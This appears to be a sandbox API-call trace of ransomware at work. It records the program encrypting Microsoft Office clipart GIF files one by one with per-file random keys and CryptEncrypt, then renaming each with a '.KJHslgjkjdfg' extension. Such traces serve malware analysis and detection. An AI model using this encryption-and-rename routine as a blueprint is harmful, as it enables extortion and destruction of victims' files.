[0153.605] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.605] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.605] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.605] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.605] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.606] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.606] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.606] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.606] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14c3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14c3, lpOverlapped=0x0) returned 1 [0153.607] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0) returned 1 [0153.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.607] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14d0, lpOverlapped=0x0) returned 1 [0153.607] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.607] SetEndOfFile (hFile=0x114) returned 1 [0153.610] GetProcessHeap () returned 0x2a0000 [0153.610] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.610] GetProcessHeap () returned 0x2a0000 [0153.610] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.kjhslgjkjdfg")) returned 1 [0153.611] CloseHandle (hObject=0x114) returned 1 [0153.611] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0153.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.612] GetProcessHeap () returned 0x2a0000 [0153.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.612] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.612] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0153.615] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.615] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.615] GetProcessHeap () returned 0x2a0000 [0153.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.615] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.615] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.615] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.615] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.615] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.615] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.615] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.615] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.616] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x135b, lpOverlapped=0x0) returned 1 [0153.616] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1360, dwBufLen=0x1360 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1360) returned 1 [0153.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.617] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1360, lpOverlapped=0x0) returned 1 [0153.617] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.617] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.617] SetEndOfFile (hFile=0x114) returned 1 [0153.620] GetProcessHeap () returned 0x2a0000 [0153.620] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.620] GetProcessHeap () returned 0x2a0000 [0153.620] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.kjhslgjkjdfg")) returned 1 [0153.624] CloseHandle (hObject=0x114) returned 1 [0153.624] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0153.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.625] GetProcessHeap () returned 0x2a0000 [0153.625] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.625] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.625] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0153.627] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.627] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.627] GetProcessHeap () returned 0x2a0000 [0153.627] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.627] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.628] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.628] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.628] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.628] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.628] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.628] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.628] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.628] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13a6, lpOverlapped=0x0) returned 1 [0153.629] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13b0, dwBufLen=0x13b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13b0) returned 1 [0153.629] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.630] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13b0, lpOverlapped=0x0) returned 1 [0153.630] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.630] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.630] SetEndOfFile (hFile=0x114) returned 1 [0153.632] GetProcessHeap () returned 0x2a0000 [0153.633] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.633] GetProcessHeap () returned 0x2a0000 [0153.633] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.633] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.kjhslgjkjdfg")) returned 1 [0153.634] CloseHandle (hObject=0x114) returned 1 [0153.634] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0153.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.634] GetProcessHeap () returned 0x2a0000 [0153.635] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.635] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.635] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0153.637] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.637] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.637] GetProcessHeap () returned 0x2a0000 [0153.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.637] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.637] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.637] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.638] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.638] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.638] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.638] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.638] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.638] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.638] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x47a, lpOverlapped=0x0) returned 1 [0153.638] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x480, dwBufLen=0x480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x480) returned 1 [0153.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.638] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x480, lpOverlapped=0x0) returned 1 [0153.638] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.639] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.639] SetEndOfFile (hFile=0x114) returned 1 [0153.641] GetProcessHeap () returned 0x2a0000 [0153.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.641] GetProcessHeap () returned 0x2a0000 [0153.641] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.kjhslgjkjdfg")) returned 1 [0153.643] CloseHandle (hObject=0x114) returned 1 [0153.643] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0153.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.643] GetProcessHeap () returned 0x2a0000 [0153.643] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.643] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0153.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.646] GetProcessHeap () returned 0x2a0000 [0153.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.646] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.646] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.646] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.646] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.646] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.647] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.647] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 